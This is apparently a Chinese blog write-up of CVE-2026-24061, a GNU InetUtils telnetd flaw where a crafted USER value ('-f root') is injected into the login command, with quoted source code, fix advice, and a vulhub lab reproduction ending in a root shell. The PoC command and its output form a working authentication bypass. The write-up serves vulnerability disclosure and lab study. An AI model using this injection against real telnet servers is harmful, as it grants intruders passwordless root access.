CVE-2026-24061 漏洞分析

GNU InetUtils telnetd 参数注入认证绕过漏洞

____ _     _____       ____   ___ ____   __       ____  _  _    ___   __   _
 / ___| \   / / ____|     |___ \ / _ \___ \ / /_     |___ \| || |  / _ \ / /_ / |
| |    \ \ / /|  _| _____   __) | | | |__) | '_ \ _____ __) | || |_| | | | '_ \| |
| |___  \ V / | |__|_____| / __/| |_| / __/| (_) |_____/ __/|__   _| |_| | (_) | |
 \____|  \_/  |_____|     |_____|\___/_____|\___/     |_____|  |_|  \___/ \___/|_|

一、漏洞概况

1. 影响范围

1.9.3 <= GNU InetUtils telnetd <= 2.7

2. 漏洞 POC
# Linux 客户端(需要 -a 选项)
USER="-f root" telnet -a 127.0.0.1 2323

# macOS 客户端(不需要 -a 选项)
USER="-f root" telnet 127.0.0.1 2323
3. 原理分析
3.1. 利用过程

3.2.关键代码

代码仓库:https://codeberg.org/inetutils/inetutils/src/commit/fa3245ac8c288b87139a0da8249d0a408c4dfb87/telnetd

telnetd.c

char * login_invocation =
#ifdef SOLARIS10
/* TODO: `-s telnet' or `-s ktelnet'.
 *       `-u' takes the Kerberos principal name
 *       of the authenticating, remote user.
 */
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"

#elif defined SOLARIS
/* At least for SunOS 5.8.  */
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"

#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

utility.c

char * expand_line(const char * line) {
    char * p = NULL;
    struct line_expander exp;

    exp.state = EXP_STATE_CONTINUE;
    exp.level = 0;
    exp.source = (char * ) line;
    exp.cp = (char * ) line;
    obstack_init( & exp.stk);
    _expand_block( & exp);
    if (exp.state == EXP_STATE_SUCCESS)
        p = xstrdup(obstack_finish( & exp.stk));
    else {
        syslog(LOG_ERR, "can't expand line: %s", line);
        syslog(LOG_ERR, "stopped near %s", exp.cp ? exp.cp : "(END)");
    }
    obstack_free( & exp.stk, NULL);
    return p;
}
void _expand_block(struct line_expander * exp) {
    int level = exp -> level;
    if ( * exp -> cp == '{') {
        exp -> level++;
        exp -> cp++; /*FIXME? */
    }
    while (exp -> state == EXP_STATE_CONTINUE) {
        for (;* exp -> cp && * exp -> cp != '%'; exp -> cp++) {
            switch ( * exp -> cp) {
                case '{':
                    exp -> level++;
                    break;

                case '}':
                    exp -> level--;
                    if (exp -> level == level) {
                        exp -> cp++;
                        return;
                    }
                    break;

                case '\\':
                    exp -> cp++;
                    break;
            }
            obstack_1grow( & exp -> stk, * exp -> cp);
        }

        if ( * exp -> cp == 0) {
            obstack_1grow( & exp -> stk, 0);
            exp -> state = EXP_STATE_SUCCESS;
            break;
        } else if ( * exp -> cp == '%' && exp -> cp[1] == '%') {
            obstack_1grow( & exp -> stk, * exp -> cp);
            exp -> cp += 2;
            continue;
        }

        _expand_cond(exp);
    }
}
void _expand_cond(struct line_expander * exp) {
    char * p;

    if ( * ++exp -> cp == '?') {
        /* condition */
        exp -> cp++;
        p = _expand_var(exp);
        if (p) {
            _expand_block(exp);
            _skip_block(exp);
        } else {
            _skip_block(exp);
            _expand_block(exp);
        }
        free(p);
    } else {
        p = _expand_var(exp);
        if (p)
            obstack_grow( & exp -> stk, p, strlen(p));
        free(p);
    }
}
char * _expand_var(struct line_expander * exp) {
    char * p;
    switch ( * exp -> cp) {
        case '{':
            /* Collect variable name */
            for (p = ++exp -> cp;* exp -> cp && * exp -> cp != '}'; exp -> cp++)
            ;
            if ( * exp -> cp == 0) {
                exp -> cp = p;
                exp -> state = EXP_STATE_ERROR;
                break;
            }
            p = _var_long_name(exp, p, exp -> cp - p);
            exp -> cp++;
            break;

        default:
            p = _var_short_name(exp);
            break;
    }
    return p;
}
char * _var_short_name(struct line_expander * exp) {
    char * q;
    char timebuf[64];
    time_t t;

    switch ( * exp -> cp++) {
        case 'a':
            #ifdef AUTHENTICATION
            if (auth_level >= 0 && autologin == AUTH_VALID)
                return xstrdup("ok");
            #endif
            return NULL;

        case 'd':
            time( & t);
            strftime(timebuf, sizeof(timebuf),
                "%l:%M%P on %A, %d %B %Y", localtime( & t));
            return xstrdup(timebuf);

        case 'h':
            return xstrdup(remote_hostname);

        case 'l':
            return xstrdup(local_hostname);

        case 'L':
            return xstrdup(line);

        case 't':
            q = strchr(line + 1, '/');
            if (q)
                q++;
            else
                q = line;
            return xstrdup(q);

        case 'T':
            return terminaltype ? xstrdup(terminaltype) : NULL;

        case 'u':
            return user_name ? xstrdup(user_name) : NULL;

        case 'U':
            return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");

        default:
            exp -> state = EXP_STATE_ERROR;
            return NULL;
    }
}
4. 修复建议
  1. 将 GNU InetUtils telnetd 升级到 2.7 以上版本
  2. 使用 ssh 代替 telnetd

二、漏洞复现

1. 环境准备

vulhub:https://github.com/vulhub/vulhub/blob/master/inetutils/CVE-2026-24061/README.zh-cn.md

docker compose up -d
2. 复现流程

正常使用 telnet 连接目标主机:需要输入用户名和密码

hailo@HAILO-LAPTOP:~$ telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Linux 6.6.87.2-microsoft-standard-WSL2 (898dcfa6184e) (pts/0)

898dcfa6184e login:

通过构造的 POC 使用 telnet 连接目标主机:直接以 root 身份进行登录

hailo@HAILO-LAPTOP:~$ USER="-f root" telnet -a 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Linux 6.6.87.2-microsoft-standard-WSL2 (898dcfa6184e) (pts/0)

Linux 898dcfa6184e 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan 25 11:47:29 UTC 2026 from 172.19.0.1 on pts/0
root@898dcfa6184e:~#

参考文章:

https://github.com/vulhub/vulhub/blob/master/inetutils/CVE-2026-24061/README.zh-cn.md

https://avd.aliyun.com/detail?id=AVD-2026-24061

https://www.openwall.com/lists/oss-security/2026/01/20/2

首先,特别感谢你能读到这里,每一份认真的阅读都是对内容创作的莫大鼓励。本文在撰写过程中,参考了多篇行业内公开的研究文献、专业分析及前辈创作者的分享成果。这些优质内容为文章观点的形成提供了重要启发与支撑,也让思考更加全面。不过因部分参考材料来自广泛的公开信息领域,未能逐一详尽标注具体出处,所以在此谨向所有致力于知识分享与行业研究的创作者,致以诚挚的感谢与敬意。

此外,若文中存在事实表述偏差、逻辑疏漏,或你对本文涉及的话题持有不同见解、希望补充相关案例与内容,欢迎通过评论区留言,或发送邮件至 puppy1599@outlook.com 与我交流。我始终相信,一篇有价值的文章从来不是单向的输出,而是通过开放讨论共同打磨的结果。期待和你一起完善对相关主题的认知,让内容的严谨性与参考价值进一步提升。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇